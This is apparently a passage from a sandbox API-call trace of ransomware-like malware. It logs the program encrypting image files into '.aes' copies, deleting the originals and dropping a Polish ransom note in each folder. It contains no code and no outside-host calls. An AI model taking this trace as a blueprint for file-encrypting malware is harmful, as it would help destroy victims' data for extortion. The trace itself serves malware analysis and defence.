(lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\S-t1dx_AJ3.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\s-t1dx_aj3.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0089.071] GetFileType (hFile=0x8e4) returned 0x1 [0089.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0089.071] GetFileType (hFile=0x8e4) returned 0x1 [0089.071] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\S-t1dx_AJ3.bmp.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\S-t1dx_AJ3.bmp.aes", lpFilePart=0x0) returned 0x36 [0089.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0089.071] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\S-t1dx_AJ3.bmp.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\s-t1dx_aj3.bmp.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0089.071] GetFileType (hFile=0x8dc) returned 0x1 [0089.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0089.071] GetFileType (hFile=0x8dc) returned 0x1 [0089.072] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0089.079] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0089.079] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0089.088] LocalFree (hMem=0x703ef10) returned 0x0 [0089.088] GetAdaptersAddresses () returned 0x6f [0089.093] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0089.093] GetAdaptersAddresses () returned 0x0 [0089.098] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0089.104] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0089.104] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0089.111] LocalFree (hMem=0x6ff2da0) returned 0x0 [0089.111] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0089.118] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0089.118] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0089.124] LocalFree (hMem=0x6ff2da0) returned 0x0 [0089.124] LocalFree (hMem=0x7074460) returned 0x0 [0089.124] GetBestInterfaceEx (in: pDestAddr=0x2954ad4*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0089.190] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\S-t1dx_AJ3.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\s-t1dx_aj3.bmp")) returned 1 [0089.191] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x3e [0089.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0089.191] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0089.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0089.192] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x8e4) returned 0x0 [0089.192] RegQueryValueExW (in: hKey=0x8e4, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0089.192] RegQueryValueExW (in: hKey=0x8e4, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x29184c8, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0089.192] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x3e [0089.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0089.192] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8dc [0089.192] GetFileType (hFile=0x8dc) returned 0x1 [0089.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0089.192] GetFileType (hFile=0x8dc) returned 0x1 [0089.192] WriteFile (in: hFile=0x8dc, lpBuffer=0x29214a8*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x29214a8*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0089.193] CloseHandle (hObject=0x8dc) returned 1 [0089.193] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0089.211] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\4Nz6FD 37UMclhfq6.gif", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\4Nz6FD 37UMclhfq6.gif", lpFilePart=0x0) returned 0x30 [0089.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0089.211] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\4Nz6FD 37UMclhfq6.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\4nz6fd 37umclhfq6.gif"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955f8a30, ftCreationTime.dwHighDateTime=0x1d30134, ftLastAccessTime.dwLowDateTime=0x4e421020, ftLastAccessTime.dwHighDateTime=0x1d2fc19, ftLastWriteTime.dwLowDateTime=0x4e421020, ftLastWriteTime.dwHighDateTime=0x1d2fc19, nFileSizeHigh=0x0, nFileSizeLow=0xa4e8)) returned 1 [0089.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0089.211] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\4Nz6FD 37UMclhfq6.gif", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\4Nz6FD 37UMclhfq6.gif", lpFilePart=0x0) returned 0x30 [0089.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0089.211] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\4Nz6FD 37UMclhfq6.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\4nz6fd 37umclhfq6.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0089.211] GetFileType (hFile=0x8dc) returned 0x1 [0089.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0089.211] GetFileType (hFile=0x8dc) returned 0x1 [0089.211] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\4Nz6FD 37UMclhfq6.gif.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\4Nz6FD 37UMclhfq6.gif.aes", lpFilePart=0x0) returned 0x34 [0089.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0089.211] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\4Nz6FD 37UMclhfq6.gif.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\4nz6fd 37umclhfq6.gif.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0089.211] GetFileType (hFile=0x540) returned 0x1 [0089.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0089.211] GetFileType (hFile=0x540) returned 0x1 [0089.212] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0089.220] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0089.220] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0089.227] LocalFree (hMem=0x703ef10) returned 0x0 [0089.227] GetAdaptersAddresses () returned 0x6f [0089.231] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0089.231] GetAdaptersAddresses () returned 0x0 [0089.236] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0089.242] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0089.242] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0089.248] LocalFree (hMem=0x6ff2da0) returned 0x0 [0089.249] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0089.255] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0089.255] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0089.261] LocalFree (hMem=0x6ff2da0) returned 0x0 [0089.262] LocalFree (hMem=0x7074460) returned 0x0 [0089.262] GetBestInterfaceEx (in: pDestAddr=0x2927a30*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0089.327] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\4Nz6FD 37UMclhfq6.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\4nz6fd 37umclhfq6.gif")) returned 1 [0089.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x35 [0089.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0089.328] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0089.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0089.329] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x8dc) returned 0x0 [0089.329] RegQueryValueExW (in: hKey=0x8dc, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0089.329] RegQueryValueExW (in: hKey=0x8dc, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x28e7c38, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0089.329] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x35 [0089.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0089.329] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x540 [0089.329] GetFileType (hFile=0x540) returned 0x1 [0089.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0089.329] GetFileType (hFile=0x540) returned 0x1 [0089.329] WriteFile (in: hFile=0x540, lpBuffer=0x28f0bf0*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x28f0bf0*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0089.330] CloseHandle (hObject=0x540) returned 1 [0089.330] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0089.351] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\dXFMoRUEzqjI.bmp", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\dXFMoRUEzqjI.bmp", lpFilePart=0x0) returned 0x2b [0089.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0089.351] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\dXFMoRUEzqjI.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\dxfmoruezqji.bmp"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48ff3180, ftCreationTime.dwHighDateTime=0x1d2f8a2, ftLastAccessTime.dwLowDateTime=0xb9bcb830, ftLastAccessTime.dwHighDateTime=0x1d2f8ce, ftLastWriteTime.dwLowDateTime=0xb9bcb830, ftLastWriteTime.dwHighDateTime=0x1d2f8ce, nFileSizeHigh=0x0, nFileSizeLow=0x3010)) returned 1 [0089.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0089.352] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\dXFMoRUEzqjI.bmp", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\dXFMoRUEzqjI.bmp", lpFilePart=0x0) returned 0x2b [0089.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0089.352] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\dXFMoRUEzqjI.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\dxfmoruezqji.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0089.352] GetFileType (hFile=0x540) returned 0x1 [0089.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0089.352] GetFileType (hFile=0x540) returned 0x1 [0089.352] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\dXFMoRUEzqjI.bmp.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\dXFMoRUEzqjI.bmp.aes", lpFilePart=0x0) returned 0x2f [0089.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0089.352] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\dXFMoRUEzqjI.bmp.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\dxfmoruezqji.bmp.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0089.352] GetFileType (hFile=0x8e4) returned 0x1 [0089.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0089.352] GetFileType (hFile=0x8e4) returned 0x1 [0089.352] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0089.360] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0089.360] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0089.371] LocalFree (hMem=0x703ef10) returned 0x0 [0089.371] GetAdaptersAddresses () returned 0x6f [0089.377] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0089.377] GetAdaptersAddresses () returned 0x0 [0089.382] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0089.389] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0089.389] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0089.397] LocalFree (hMem=0x6ff2da0) returned 0x0 [0089.397] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0089.404] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0089.404] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0089.410] LocalFree (hMem=0x6ff2da0) returned 0x0 [0089.411] LocalFree (hMem=0x7042020) returned 0x0 [0089.411] GetBestInterfaceEx (in: pDestAddr=0x28f7138*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0089.481] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\dXFMoRUEzqjI.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\dxfmoruezqji.bmp")) returned 1 [0089.482] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x35 [0089.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0089.482] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef7239a0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xef7239a0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xef7239a0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0089.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0089.482] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0089.507] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\IjyzG07WaZVWa6FxqH0.gif", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\IjyzG07WaZVWa6FxqH0.gif", lpFilePart=0x0) returned 0x32 [0089.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0089.508] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\IjyzG07WaZVWa6FxqH0.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\ijyzg07wazvwa6fxqh0.gif"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91dd3010, ftCreationTime.dwHighDateTime=0x1d2fa77, ftLastAccessTime.dwLowDateTime=0xb4570180, ftLastAccessTime.dwHighDateTime=0x1d304bc, ftLastWriteTime.dwLowDateTime=0xb4570180, ftLastWriteTime.dwHighDateTime=0x1d304bc, nFileSizeHigh=0x0, nFileSizeLow=0xf5da)) returned 1 [0089.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0089.508] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\IjyzG07WaZVWa6FxqH0.gif", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\IjyzG07WaZVWa6FxqH0.gif", lpFilePart=0x0) returned 0x32 [0089.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0089.508] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\IjyzG07WaZVWa6FxqH0.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\ijyzg07wazvwa6fxqh0.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0089.508] GetFileType (hFile=0x540) returned 0x1 [0089.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0089.508] GetFileType (hFile=0x540) returned 0x1 [0089.508] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\IjyzG07WaZVWa6FxqH0.gif.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\IjyzG07WaZVWa6FxqH0.gif.aes", lpFilePart=0x0) returned 0x36 [0089.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0089.508] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\IjyzG07WaZVWa6FxqH0.gif.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\ijyzg07wazvwa6fxqh0.gif.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0089.508] GetFileType (hFile=0x8e4) returned 0x1 [0089.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0089.509] GetFileType (hFile=0x8e4) returned 0x1 [0089.509] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0089.517] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0089.517] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0089.552] LocalFree (hMem=0x703ef10) returned 0x0 [0089.552] GetAdaptersAddresses () returned 0x6f [0089.556] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0089.556] GetAdaptersAddresses () returned 0x0 [0089.561] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0089.575] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0089.575] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0089.636] LocalFree (hMem=0x6ff2da0) returned 0x0 [0089.637] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0089.656] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0089.656] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0089.664] LocalFree (hMem=0x6ff2da0) returned 0x0 [0089.665] LocalFree (hMem=0x7042020) returned 0x0 [0089.665] GetBestInterfaceEx (in: pDestAddr=0x28adbfc*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), 